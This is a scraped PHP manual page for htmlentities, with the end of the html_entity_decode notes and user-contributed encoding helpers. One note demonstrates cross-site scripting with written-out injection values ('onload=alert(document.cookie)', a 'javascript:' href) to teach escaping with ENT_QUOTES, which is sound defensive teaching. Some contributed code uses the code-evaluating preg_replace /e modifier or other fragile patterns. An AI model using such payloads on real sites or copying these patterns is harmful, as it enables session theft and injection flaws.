    $enc = rawurldecode($raw_url_encoded);
    if(utf8_encode(utf8_decode($enc))==$enc){;
        return rawurldecode($raw_url_encoded);
    }else{
        return utf8_encode(rawurldecode($raw_url_encoded));
    }
}
?>
Free at Key dot no 01-Jul-2010 02:51
Handy function to convert remaining HTML-entities into human readable chars (for entities which do not exist in target charset):

<?php
function cleanString($in,$offset=null)
{
    $out = trim($in);
    if (!empty($out))
    {
        $entity_start = strpos($out,'&',$offset);
        if ($entity_start === false)
        {
            // ideal
            return $out;
        }
        else
        {
            $entity_end = strpos($out,';',$entity_start);
            if ($entity_end === false)
            {
                 return $out;
            }
            // zu lang um eine entity zu sein
            else if ($entity_end > $entity_start+7)
            {
                 // und weiter gehts
                 $out = cleanString($out,$entity_start+1);
            }
            // gottcha!
            else
            {
                 $clean = substr($out,0,$entity_start);
                 $subst = substr($out,$entity_start+1,1);
                 // &scaron; => "s" / &#353; => "_"
                 $clean .= ($subst != "#") ? $subst : "_";
                 $clean .= substr($out,$entity_end+1);
                 // und weiter gehts
                 $out = cleanString($clean,$entity_start+1);
            }
        }
    }
    return $out;
}
?>
Matt Robinson 06-Sep-2009 11:11
I wrote in a previous comment that html_entity_decode() only handled about 100 characters. That's not quite true; it only handles entities that exist in the output character set (the third argument). If you want to get ALL HTML entities, make sure you use ENT_QUOTES and set the third argument to 'UTF-8'.

If you don't want a UTF-8 string, you'll need to convert it afterward with something like utf8_decode(), iconv(), or mb_convert_encoding().

If you're producing XML, which doesn't recognise most HTML entities:

When producing a UTF-8 document (the default), then htmlspecialchars(html_entity_decode($string, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES, 'UTF-8') (because you only need to escape < and > and & unless you're printing inside the XML tags themselves).

Otherwise, either convert all the named entities to numeric ones, or declare the named entities in the document's DTD. The full list of 252 entities can be found in the HTML 4.01 Spec, or you can cut and paste the function from my site (http://inanimatt.com/php-convert-entities.php).
marion at figmentthinking dot com 10-Mar-2009 02:11
I just ran into the:
Bug #27626 html_entity_decode bug - cannot yet handle MBCS in html_entity_decode()!

The simple solution if you're still running PHP 4 is to wrap the html_entity_decode() function with the utf8_decode() function.

<?php
$string = '&nbsp;';
$utf8_encode = utf8_encode(html_entity_decode($string));
?>

By default html_entity_decode() returns the ISO-8859-1 character set, and by default utf8_decode()...

http://us.php.net/manual/en/function.utf8-decode.php
"Converts a string with ISO-8859-1 characters encoded with UTF-8 to single-byte ISO-8859-1"
jl dot garcia at gmail dot com 05-Mar-2009 12:33
I created this function to filter all the text that goes in or comes out of the database.

<?php
function filter_string($string, $nohtml='', $save='') {
    if(!empty($nohtml)) {
        $string = trim($string);
        if(!empty($save)) $string = htmlentities(trim($string), ENT_QUOTES, 'ISO-8859-15');
        else $string = html_entity_decode($string, ENT_QUOTES, 'ISO-8859-15');
    }
    if(!empty($save)) $string = mysql_real_escape_string($string);
    else $string = stripslashes($string);
    return($string);
}
?>
kae at verens dot com 09-May-2008 03:11
the references to 'chr()' in the example unhtmlentities() function should be changed to unichr, using the example unichr() function described in the 'chr' reference (http://php.net/chr).

the reason for this is characters such as &#x20AC; which do not break down into an ASCII number (that's the Euro, by the way).
me at richardsnazell dot com 21-Jan-2008 01:19
I had a problem getting the 'TM' trademark symbol to display correctly in an email subject line. Using html_entity_decode() with different charsets didn't work, but directly replacing the entity with it's ASCII equivalent did:

$subject = str_replace('&trade;', chr(153), $subject);
jojo 04-Nov-2006 05:27
The decipherment does the character encoded by the escape function of JavaScript.
When the multi byte is used on the page, it is effective.

javascript escape('aaああaa') ..... 'aa%u3042%u3042aa'
php  jsEscape_decode('aa%u3042%u3042aa')..'aaああaa'

<?php
function jsEscape_decode($jsEscaped,$outCharCode='SJIS'){
    $arrMojis = explode("%u",$jsEscaped);
    for ($i = 1;$i < count($arrMojis);$i++){
        $c = substr($arrMojis[$i],0,4);
        $cc = mb_convert_encoding(pack('H*',$c),$outCharCode,'UTF-16');
        $arrMojis[$i] = substr_replace($arrMojis[$i],$cc,0,4);
    }
    return implode('',$arrMojis);
}
?>
grvg (at) free (dot) fr 29-Jul-2006 06:44
Here is the ultimate functions to convert HTML entities to UTF-8 :
The main function is htmlentities2utf8
Others are helper functions

<?php
function chr_utf8($code)
    {
        if ($code < 0) return false;
        elseif ($code < 128) return chr($code);
        elseif ($code < 160) // Remove Windows Illegals Cars
        {
            if ($code==128) $code=8364;
            elseif ($code==129) $code=160; // not affected
            elseif ($code==130) $code=8218;
            elseif ($code==131) $code=402;
            elseif ($code==132) $code=8222;
            elseif ($code==133) $code=8230;
            elseif ($code==134) $code=8224;
            elseif ($code==135) $code=8225;
            elseif ($code==136) $code=710;
            elseif ($code==137) $code=8240;
            elseif ($code==138) $code=352;
            elseif ($code==139) $code=8249;
            elseif ($code==140) $code=338;
            elseif ($code==141) $code=160; // not affected
            elseif ($code==142) $code=381;
            elseif ($code==143) $code=160; // not affected
            elseif ($code==144) $code=160; // not affected
            elseif ($code==145) $code=8216;
            elseif ($code==146) $code=8217;
            elseif ($code==147) $code=8220;
            elseif ($code==148) $code=8221;
            elseif ($code==149) $code=8226;
            elseif ($code==150) $code=8211;
            elseif ($code==151) $code=8212;
            elseif ($code==152) $code=732;
            elseif ($code==153) $code=8482;
            elseif ($code==154) $code=353;
            elseif ($code==155) $code=8250;
            elseif ($code==156) $code=339;
            elseif ($code==157) $code=160; // not affected
            elseif ($code==158) $code=382;
            elseif ($code==159) $code=376;
        }
        if ($code < 2048) return chr(192 | ($code >> 6)) . chr(128 | ($code & 63));
        elseif ($code < 65536) return chr(224 | ($code >> 12)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
        else return chr(240 | ($code >> 18)) . chr(128 | (($code >> 12) & 63)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
    }

    // Callback for preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $str);
    function html_entity_replace($matches)
    {
        if ($matches[2])
        {
            return chr_utf8(hexdec($matches[3]));
        } elseif ($matches[1])
        {
            return chr_utf8($matches[3]);
        }
        switch ($matches[3])
        {
            case "nbsp": return chr_utf8(160);
            case "iexcl": return chr_utf8(161);
            case "cent": return chr_utf8(162);
            case "pound": return chr_utf8(163);
            case "curren": return chr_utf8(164);
            case "yen": return chr_utf8(165);
            //... etc with all named HTML entities
        }
        return false;
    }

    function htmlentities2utf8 ($string) // because of the html_entity_decode() bug with UTF-8
    {
        $string = preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $string);
        return $string;
    }
?>
florianborn (at) yahoo (dot) de 20-Jul-2005 12:43
Note that

<?php

 echo urlencode(html_entity_decode("&nbsp;"));

?>

will output "%A0" instead of "+".
php dot net at c dash ovidiu dot tk 18-Mar-2005 09:37
Quick & dirty code that translates numeric entities to UTF-8.

<?php

    function replace_num_entity($ord)
    {
        $ord = $ord[1];
        if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
        {
            $ord = hexdec($match[1]);
        }
        else
        {
            $ord = intval($ord);
        }

        $no_bytes = 0;
        $byte = array();

        if ($ord < 128)
        {
            return chr($ord);
        }
        elseif ($ord < 2048)
        {
            $no_bytes = 2;
        }
        elseif ($ord < 65536)
        {
            $no_bytes = 3;
        }
        elseif ($ord < 1114112)
        {
            $no_bytes = 4;
        }
        else
        {
            return;
        }

        switch($no_bytes)
        {
            case 2:
            {
                $prefix = array(31, 192);
                break;
            }
            case 3:
            {
                $prefix = array(15, 224);
                break;
            }
            case 4:
            {
                $prefix = array(7, 240);
            }
        }

        for ($i = 0; $i < $no_bytes; $i++)
        {
            $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
        }

        $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

        $ret = '';
        for ($i = 0; $i < $no_bytes; $i++)
        {
            $ret .= chr($byte[$i]);
        }

        return $ret;
    }

    $test = 'This is a &#269;&#x5d0; test&#39;';

    echo $test . "<br />\n";
    echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test);

?>
daniel at brightbyte dot de 14-Nov-2004 03:12
This function seems to have to have two limitations (at least in PHP 4.3.8):

a) it does not work with multibyte character codings, such as UTF-8
b) it does not decode numeric entity references

a) can be solved by using iconv to convert to ISO-8859-1, then decoding the entities, than convert to UTF-8 again. But that's quite ugly and detroys all characters not present in Latin-1.

b) can be solved rather nicely using the following code:

<?php
function decode_entities($text) {
    $text= html_entity_decode($text,ENT_QUOTES,"ISO-8859-1"); #NOTE: UTF-8 does not work!
    $text= preg_replace('/&#(\d+);/me',"chr(\\1)",$text); #decimal notation
    $text= preg_replace('/&#x([a-f0-9]+);/mei',"chr(0x\\1)",$text);  #hex notation
    return $text;
}
?>

HTH
aidan at php dot net 14-Sep-2004 09:57
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Convert all applicable characters to HTML entities

  • « html_entity_decode
  • htmlspecialchars_decode »
  • PHP Manual
  • String Functions
  • Convert all applicable characters to HTML entities

htmlentities

(PHP 4, PHP 5)

htmlentities — Convert all applicable characters to HTML entities

Description

string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.

If you want to decode instead (the reverse) you can use html_entity_decode().

Parameters

string

The input string.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes, invalid code unit sequences and the used document type. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_IGNORE | Silently discard invalid code unit sequences instead of returning an empty string. Using this flag is discouraged as it » may have security implications.
ENT_SUBSTITUTE | Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of returning an empty string.
ENT_DISALLOWED | Replace invalid code points for the given document type with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of leaving them as is. This may be useful, for instance, to ensure the well-formedness of XML documents with embedded external content.
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

encoding

An optional argument defining the encoding used when converting characters.

If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input.

The following character sets are supported:

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1.
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Japanese
EUC-JP | EUCJP, eucJP-win | Japanese
MacRoman | Charset that was used by Mac OS.
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

double_encode

When double_encode is turned off PHP will not encode existing html entities. The default is to convert everything.

Return Values

Returns the encoded string.

If the input string contains an invalid code unit sequence within the given encoding an empty string will be returned, unless either the ENT_IGNORE or ENT_SUBSTITUTE flags are set.

Changelog

Version | Description
5.6.0 | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.0 | The default value for the encoding parameter was changed to UTF-8.
5.4.0 | The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
5.3.0 | The constant ENT_IGNORE was added.
5.2.3 | The double_encode parameter was added.

Examples

Example #1 A htmlentities() example

<?php
$str = "A 'quote' is <b>bold</b>";

// Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>

Example #2 Usage of ENT_IGNORE

<?php
$str = "\x8F!!!";

// Outputs an empty string
echo htmlentities($str, ENT_QUOTES, "UTF-8");

// Outputs "!!!"
echo htmlentities($str, ENT_QUOTES | ENT_IGNORE, "UTF-8");
?>

See Also

  • html_entity_decode() - Convert all HTML entities to their applicable characters
  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities
  • htmlspecialchars() - Convert special characters to HTML entities
  • nl2br() - Inserts HTML line breaks before all newlines in a string
  • urlencode() - URL-encodes string

User Contributed Notes

hajo-p 06-Jan-2014 02:18
The flag ENT_HTML5 also strips newline chars like \n with htmlentities while htmlspecialchars is not affected by that.

If you want to use nl2br on that string afterwards you might end up searching the problem like i did. This does not apply to other flags like e.g. ENT_XHTML which confused me.

Tested this with PHP 5.4 / 5.5 / 5.6-dev with same results, so it seems that this is an intended "feature".
rq 19-Sep-2013 10:37
For use of html  tags, ampersands, etc. in xml document

(f.e.

<xml>

<xmltag1><span class="data1"> data 1</span> & data2</xmltag1>

</xml>

)

one can use the CDATA brackets:

<xmltag1><![CDATA[<span class="data1"> data 1</span> & data2]]></xmltag1>

-rq
ustimenko dot alexander at gmail dot com 09-Apr-2012 11:15
For those Spanish (and not only) folks, that want their national letters back after htmlentities :)

<?php
protected function _decodeAccented($encodedValue, $options = array()) {
    $options += array(
        'quote'     => ENT_NOQUOTES,
        'encoding'  => 'UTF-8',
    );
    return preg_replace_callback(
        '/&\w(acute|uml|tilde);/',
        create_function(
            '$m',
            'return html_entity_decode($m[0], ' . $options['quote'] . ', "' .
            $options['encoding'] . '");'
        ),
        $encodedValue
    );
}
?>
n at erui dot eu 20-Mar-2012 09:46
html entities does not encode all unicode characters. It encodes what it can [all of latin1], and the others slip through. &#1033; is the nasty I use. I have searched for a function which encodes everything, but in the end I wrote this. This is as simple as I can get it. Consult an ansii table to custom include/omit chars you want/don't. I'm sure it's not that fast.

// Unicode-proof htmlentities.
// Returns 'normal' chars as chars and weirdos as numeric html entites.
function superentities( $str ){
    // get rid of existing entities else double-escape
    $str = html_entity_decode(stripslashes($str),ENT_QUOTES,'UTF-8');
    $ar = preg_split('/(?<!^)(?!$)/u', $str );  // return array of every multi-byte character
    foreach ($ar as $c){
        $o = ord($c);
        if ( (strlen($c) > 1) || /* multi-byte [unicode] */
            ($o <32 || $o > 126) || /* <- control / latin weirdos -> */
            ($o >33 && $o < 40) ||/* quotes + ambersand */
            ($o >59 && $o < 63) /* html */
        ) {
            // convert to numeric entity
            $c = mb_encode_numericentity($c,array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
        }
        $str2 .= $c;
    }
    return $str2;
}
wd at NOSPAMwd dot it 19-Dec-2011 11:20
Hi there,

after several and several tests, I figured out that dot:

- htmlentities() function remove characters like "à","è",etc when you specify a flag and a charset

- htmlentities() function DOES NOT remove characters like those above when you DO NOT specify anything

So, let's assume that..

<?php

$str = "Hèèèllooo";

$res_1 = htmlentities($str, ENT_QUOTES, "UTF-8");
$res_2 = htmlentities($str);

echo var_dump($res_1); // Result: string '' (length=0)
echo var_dump($res_2); // string 'H&egrave;&egrave;&egrave;llooo' (length=30)

?>

I used this for a textarea content for comments. Anyway, note that using the "$res_2" form the function will leave unconverted single/double quotes. At this point you should use str_replace() function to perform the characters but be careful because..

<?php

$str = "'Hèèèllooo'";

$res_2 = str_replace("'","&#039;",$str);
$res_2 = htmlentities($str);
echo var_dump($res_2); // string '&amp;#039;H&egrave;&egrave;&egrave;llooo&amp;#039;'

$res_3 = htmlentities($str);
$res_3 = str_replace("'","&#039;",$res_3);
echo var_dump($res_3); // string '&#039;H&egrave;&egrave;&egrave;llooo&#039;' --> Nice
?>

Hope it will helps you.

Regards,
W.D.
steve at mcdragonsoftware dot com 17-Nov-2011 05:59
I'm glad 5.4 has xml support, but many of us are working with older installations, some of us still have to use PHP4. If you're like me you've been frustrated with trying to use htmlentites/htmlspecial chars with xml output. I was hoping to find an option to force numeric encoding, lacking that, I have written my own xmlencode function, which I now offer:

usage:

$string xmlencode( $string )

it will use htmlspecialchars for the valid xml entities amp, quote, lt, gt, (apos) and return the numeric entity for all other non alpha-numeric characters.

-------------------------------------------

<?php
if( !function_exists( 'xmlentities' ) ) {
    function xmlentities( $string ) {
        $not_in_list = "A-Z0-9a-z\s_-";
        return preg_replace_callback( "/[^{$not_in_list}]/" , 'get_xml_entity_at_index_0' , $string );
    }
    function get_xml_entity_at_index_0( $CHAR ) {
        if( !is_string( $CHAR[0] ) || ( strlen( $CHAR[0] ) > 1 ) ) {
            die( "function: 'get_xml_entity_at_index_0' requires data type: 'char' (single character). '{$CHAR[0]}' does not match this type." );
        }
        switch( $CHAR[0] ) {
            case "'":    case '"':    case '&':    case '<':    case '>':
                return htmlspecialchars( $CHAR[0], ENT_QUOTES );    break;
            default:
                return numeric_entity_4_char($CHAR[0]);                break;
        }
    }
    function numeric_entity_4_char( $char ) {
        return "&#".str_pad(ord($char), 3, '0', STR_PAD_LEFT).";";
    }
}
?>
Waygood 06-Jun-2011 11:09
When putting values inside comment tags <!-- --> you should replace -- with &#45;&#45; too, as this would end your tag and show the rest of the comment.
robin at robinwinslow dot co dot uk 15-Apr-2011 05:14
htmlentities seems to have changed at some point between version 5.1.6 and 5.3.3, such that it now returns an empty string for anything containing a pound sign:

$ php -v
PHP 5.1.6 (cli) (built: May 22 2008 09:08:44)
$ php -r "echo htmlentities('£hello', null, 'utf-8');"
&pound;hello
$

$ php -v
PHP 5.3.3 (cli) (built: Aug 19 2010 12:07:49)
$ php -r "echo htmlentities('£hello', null, 'utf-8');"
$

(Returns an empty string the second time)

Just a heads up.
admin at wapforum dot rs 24-Feb-2011 10:11
A useful little function to convert the symbols in the different inputs.
<?php
function ConvertSimbols($var, $ConvertQuotes = 0) {
if ($ConvertQuotes > 0) {
$var = htmlentities($var, ENT_NOQUOTES, 'UTF-8');
$var = str_replace('\"', '', $var);
$var = str_replace("\'", '', $var);
} else {
$var = htmlentities($var, ENT_QUOTES, 'UTF-8');
}
return $var;
}
?>

Usage with quotes for example message:

$message = ConvertSimbols($message);

Usage without quotes for example link:

$link = ConvertSimbols($link, 1);
kindrosker at gmail dot com 10-Feb-2011 02:31
All Codes list

array('À'=>'&Agrave;', 'à'=>'&agrave;', 'Á'=>'&Aacute;', 'á'=>'&aacute;', 'Â'=>'&Acirc;', 'â'=>'&acirc;', 'Ã'=>'&Atilde;', 'ã'=>'&atilde;', 'Ä'=>'&Auml;', 'ä'=>'&auml;', 'Å'=>'&Aring;', 'å'=>'&aring;', 'Æ'=>'&AElig;', 'æ'=>'&aelig;', 'Ç'=>'&Ccedil;', 'ç'=>'&ccedil;', 'Ð'=>'&ETH;', 'ð'=>'&eth;', 'È'=>'&Egrave;', 'è'=>'&egrave;', 'É'=>'&Eacute;', 'é'=>'&eacute;', 'Ê'=>'&Ecirc;', 'ê'=>'&ecirc;', 'Ë'=>'&Euml;', 'ë'=>'&euml;', 'Ì'=>'&Igrave;', 'ì'=>'&igrave;', 'Í'=>'&Iacute;', 'í'=>'&iacute;', 'Î'=>'&Icirc;', 'î'=>'&icirc;', 'Ï'=>'&Iuml;', 'ï'=>'&iuml;', 'Ñ'=>'&Ntilde;', 'ñ'=>'&ntilde;', 'Ò'=>'&Ograve;', 'ò'=>'&ograve;', 'Ó'=>'&Oacute;', 'ó'=>'&oacute;', 'Ô'=>'&Ocirc;', 'ô'=>'&ocirc;', 'Õ'=>'&Otilde;', 'õ'=>'&otilde;', 'Ö'=>'&Ouml;', 'ö'=>'&ouml;', 'Ø'=>'&Oslash;', 'ø'=>'&oslash;', 'Œ'=>'&OElig;', 'œ'=>'&oelig;', 'ß'=>'&szlig;', 'Þ'=>'&THORN;', 'þ'=>'&thorn;', 'Ù'=>'&Ugrave;', 'ù'=>'&ugrave;', 'Ú'=>'&Uacute;', 'ú'=>'&uacute;', 'Û'=>'&Ucirc;', 'û'=>'&ucirc;', 'Ü'=>'&Uuml;', 'ü'=>'&uuml;', 'Ý'=>'&Yacute;', 'ý'=>'&yacute;', 'Ÿ'=>'&Yuml;', 'ÿ'=>'&yuml;');
galert420 at gmail dot com 05-Nov-2010 07:24
Croatian entites

<?php
$ent = array(
    'Ć'=>'&#262;',
    'ć'=>'&#263;',
    'Č'=>'&#268;',
    'č'=>'&#269;',
    'Đ'=>'&#272',
    'đ'=>'&#273',
    'Š'=>'&#352',
    'š'=>'&#353',
    'Ž'=>'&#381',
    'ž'=>'&#382'
);

echo strtr('ĆćČčĐđŠšŽž', $ent);
?>
php dot net at softmoon-webware dot com 12-Oct-2010 11:32
<?php
$HTML_ENTS=array("quot", "amp", "apos", "lt", "gt", "nbsp", "iexcl", "cent",
"pound","curren", "yen", "brvbar", "sect", "uml", "copy", "ordf", "laquo",
"not", "shy", "reg", "macr", "deg", "plusmn", "sup2", "sup3", "acute",
"micro", "para", "middot", "cedil", "sup1", "ordm", "raquo", "frac14",
"frac12", "frac34", "iquest", "Agrave", "Aacute", "Acirc", "Atilde", "Auml",
"Aring", "AElig", "Ccedil", "Egrave", "Eacute", "Ecirc", "Euml", "Igrave",
"Iacute", "Icirc", "Iuml", "ETH", "Ntilde", "Ograve", "Oacute", "Ocirc",
"Otilde", "Ouml", "times", "Oslash", "Ugrave", "Uacute", "Ucirc", "Uuml",
"Yacute", "THORN", "szlig", "agrave", "aacute", "acirc", "atilde", "auml",
"aring", "aelig", "ccedil", "egrave", "eacute", "ecirc", "euml", "igrave",
"iacute", "icirc", "iuml", "eth", "ntilde", "ograve", "oacute", "ocirc",
"otilde", "ouml", "divide", "oslash", "ugrave", "uacute", "ucirc", "uuml",
"yacute", "thorn", "yuml", "OElig", "oelig", "Scaron", "scaron", "Yuml",
"fnof", "circ", "tilde", "Alpha", "Beta", "Gamma", "Delta", "Epsilon",
"Zeta", "Eta", "Theta", "Iota", "Kappa", "Lambda", "Mu", "Nu", "Xi",
"Omicron", "Pi", "Rho", "Sigma", "Tau", "Upsilon", "Phi", "Chi", "Psi",
"Omega", "alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta",
"theta", "iota", "kappa", "lambda", "mu", "nu", "xi", "omicron", "pi",
"rho", "sigmaf", "sigma", "tau", "upsilon", "phi", "chi", "psi", "omega",
"thetasym", "upsih", "piv", "ensp", "emsp", "thinsp", "zwnj", "zwj", "lrm",
"rlm", "ndash", "mdash", "lsquo", "rsquo", "sbquo", "ldquo", "rdquo",
"bdquo", "dagger", "Dagger", "bull", "hellip", "permil", "prime", "Prime",
"lsaquo", "rsaquo", "oline", "frasl", "euro", "image", "weierp", "real",
"trade", "alefsym", "larr", "uarr", "rarr", "darr", "harr", "crarr", "lArr",
"uArr", "rArr", "dArr", "hArr", "forall", "part", "exist", "empty", "nabla",
"isin", "notin", "ni", "prod", "sum", "minus", "lowast", "radic", "prop",
"infin", "ang", "and", "or", "cap", "cup", "int", "there4", "sim", "cong",
"asymp", "ne", "equiv", "le", "ge", "sub", "sup", "nsub", "sube", "supe",
"oplus", "otimes", "perp", "sdot", "lceil", "rceil", "lfloor",
"rfloor", "lang", "rang", "loz", "spades", "clubs", "hearts", "diams");

// The selection of tags below is optimized for use with a webmaster's database,
// --NOT-- to process user POSTs from the World Wide Web
//  for inclusion on a public page.

//  NOT included:
//   form,  input,  select,  option,  label,  optgroup,  textarea,  area,  map,
//   html,  head,  style,  link,  meta,  base,  body,  isindex,
//   frame,  frameset,  noframes
//  (include those above at your wish,  remove those below at your wish)
$HTML_TAGS=array("a", "abbr", "acronym", "address", "applet", "b", "basefont",
"bdo", "big", "blockquote", "br", "button", "caption", "center", "cite",
"code", "col", "colgroup", "dd", "del", "dfn", "dir", "div", "dl", "dt", "em",
"embed", "fieldset", "font", "h1", "h2", "h3", "h4", "h5", "h6", "hr", "i",
"iframe", "img", "ins", "kbd", "legend", "li", "menu", "noembed", "noscript",
"object", "ol", "p", "param", "pre", "q", "s", "samp", "script", "small",
"span", "strike", "strong", "sub", "sup", "table", "tbody", "td", "tfoot",
"th", "thead", "title", "tr", "tt", "u", "ul", "var");

$Xchars = array(
 128 => '&#8364;',
 130 => '&#8218;',
 131 => '&#402;',
 132 => '&#8222;',
 133 => '&#8230;',
 134 => '&#8224;',
 135 => '&#8225;',
 136 => '&#710;',
 137 => '&#8240;',
 138 => '&#352;',
 139 => '&#8249;',
 140 => '&#338;',
 142 => '&#381;',
 145 => '&#8216;',
 146 => '&#8217;',
 147 => '&#8220;',
 148 => '&#8221;',
 149 => '&#8226;',
 150 => '&#8211;',
 151 => '&#8212;',
 152 => '&#732;',
 153 => '&#8482;',
 154 => '&#353;',
 155 => '&#8250;',
 156 => '&#339;',
 158 => '&#382;',
 159 => '&#376;');
?>
drallen at cs dot uwaterloo dot ca 30-Sep-2010 01:11
A pointer to http://www.php.net/manual/en/function.mb-convert-encoding.php if your intention is to translate *all* characters in a charset to their corresponding HTML entities, not just named characters. Non-named characters will be replaced with HTML numeric encoding. eg:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
h_guillaume at hotmail dot com 17-Sep-2010 10:14
I use this function to encode all the xml entities and also all the &something; that are not defined in xml like &trade;
You can also decode what you encode with my decode function.
My function works a little like the htmlentities.
You can also add other string to the array if you want to exclude them from the encoding.

<?php
function xml_entity_decode($text, $charset = 'Windows-1252'){
    // Double decode, so if the value was &amp;trade; it will become Trademark
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    return $text;
}

function xml_entities($text, $charset = 'Windows-1252'){
     // Debug and Test
    // $text = "test &amp; &trade; &amp;trade; abc &reg; &amp;reg; &#45;";

    // First we encode html characters that are also invalid in xml
    $text = htmlentities($text, ENT_COMPAT, $charset, false);

    // XML character entity array from Wiki
    // Note: &apos; is useless in UTF-8 or in UTF-16
    $arr_xml_special_char = array("&quot;","&amp;","&apos;","&lt;","&gt;");

    // Building the regex string to exclude all strings with xml special char
    $arr_xml_special_char_regex = "(?";
    foreach($arr_xml_special_char as $key => $value){
        $arr_xml_special_char_regex .= "(?!$value)";
    }
    $arr_xml_special_char_regex .= ")";

    // Scan the array for &something_not_xml; syntax
    $pattern = "/$arr_xml_special_char_regex&([a-zA-Z0-9]+;)/";

    // Replace the &something_not_xml; with &amp;something_not_xml;
    $replacement = '&amp;${1}';
    return preg_replace($pattern, $replacement, $text);
}
?>
Sijmen Ruwhof 13-Sep-2010 09:18
An important note below about using this function to secure your application against Cross Site Scripting (XSS) vulnerabilities.

When printing user input in an attribute of an HTML tag, the default configuration of htmlEntities() doesn't protect you against XSS, when using single quotes to define the border of the tag's attribute-value. XSS is then possible by injecting a single quote:

<?php
$_GET['a'] = "#000' onload='alert(document.cookie)";
?>

XSS possible (insecure):

<?php
$href = htmlEntities($_GET['a']);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>
?>

Use the 'ENT_QUOTES' quote style option, to ensure no XSS is possible and your application is secure:

<?php
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000&#039; onload=&#039;alert(document.cookie)'>
?>

The 'ENT_QUOTES' option doesn't protect you against javascript evaluation in certain tag's attributes, like the 'href' attribute of the 'a' tag. When clicked on the link below, the given JavaScript will get executed:

<?php
$_GET['a'] = 'javascript:alert(document.cookie)';
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>
?>
Wired 14-May-2010 02:22
I needed a simple little function to take a string and convert extended ascii characters into html entities. I couldn't find a function for this so I whipped one up.

<?php
/* Convert Extended ASCII Characters to HTML Entities */
function ascii2entities($string){
    for($i=128;$i<=255;$i++){
        $entity = htmlentities(chr($i), ENT_QUOTES, 'cp1252');
        $temp = substr($entity, 0, 1);
        $temp .= substr($entity, -1, 1);
        if ($temp != '&;'){
            $string = str_replace(chr($i), '', $string);
        }
        else{
            $string = str_replace(chr($i), $entity, $string);
        }
    }
    return $string;
}

echo ascii2entities("•");
?>
phil at lavin dot me dot uk 08-Apr-2010 05:34
The following will make a string completely safe for XML:

<?php
function philsXMLClean($strin) {
        $strout = null;

        for ($i = 0; $i < strlen($strin); $i++) {
                $ord = ord($strin[$i]);

                if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                        $strout .= "&amp;#{$ord};";
                }
                else {
                        switch ($strin[$i]) {
                                case '<':
                                        $strout .= '&lt;';
                                        break;
                                case '>':
                                        $strout .= '&gt;';
                                        break;
                                case '&':
                                        $strout .= '&amp;';
                                        break;
                                case '"':
                                        $strout .= '&quot;';
                                        break;
                                default:
                                        $strout .= $strin[$i];
                        }
                }
        }

        return $strout;
}
?>
